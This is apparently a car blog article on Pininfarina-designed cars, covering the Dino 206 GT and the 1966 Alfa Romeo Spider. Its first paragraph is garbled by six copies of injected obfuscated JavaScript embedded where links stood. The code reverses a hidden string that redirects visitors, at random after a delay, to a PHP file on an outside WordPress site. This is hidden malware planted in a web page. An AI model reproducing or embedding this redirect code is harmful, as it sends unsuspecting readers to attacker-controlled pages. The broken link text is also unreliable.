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At some point today, take a look at a few of the cars designed by$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=+Pininfarina+”> Pininfarina during the late Sergio’s time with his eponymous company. The sheer number is enough to boggle the mind, but dig a bit deeper and you may be surprised what you stumble across: the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=Mercedes+W113″>Mercedes W113 from 1963, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=Ferrari+330″>Ferrari 330 from 1966; a 1978 $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=Jaguar+XJ6″>Jaguar XJ6, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=Alfa+Romeo”>Alfa Romeo’s 1995 GTV, and the epochal Ferrari F40. That’s just five – six if you include the concept at this year’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/geneva-motor-show-2012-opening-day-c-through-p/” target=”_blank”>Geneva Motor Show – and when considering Sergio Pininfarina’s focus for innovative automotive design, these still barely scratch the surface.
Indeed, chances are pretty high that at least one of member of your dream garage – or a contender at the very least – was designed/influenced by Pininfarina. It’s no different at crankandpiston, and we’d like to share three of them with you here.
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We’ll kick things off with the Dino, a peculiar beast since the name would alternate between Fiat and Ferrari badging throughout the late 1960s. Pininfarina’s 1966 Dino Spider remains an exclusive creation to this day – only 424 units of the 2.4l package were manufactured under the Ferrari name – but arguably the most significant/controversial model was the 206 GT.
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Beautifully styled with hardly an angle going spare on the curvaceous surface, the 206 GT caused a stir at the 1965 Paris Motor Show when it was unveiled with have a mid-engined layout. Enzo Ferrari, still not completely happy with the idea of a mid-engined Ferrari, insisted that the Pininfarina concept be badged as a ‘Dino’, but a swarm of interest and public clammering for a production ready version soon saw the prancing horse take up its position on the bonnet.
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Not much further down the road was the Alfa Romeo Spider from 1966. Once again, form took precedence, and the cabriolet is still considered one of the most elegant Alfa’s ever built. Indeed, during a three-decade production run, the Spider received hardly any aesthetic changes.
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A great deal more attention though was paid to the near-$4000 asking price, which put the then-monikered ‘Duetto’ directly up against the Jaguar E-Type. The Spider would also be the last model with which Pininfarina founder Battista would be personally associated. By year-end Battista had passed, and Sergio (who had already changed his surname from Farina to Pininfarina five years earlier) would be appointed Chairman.
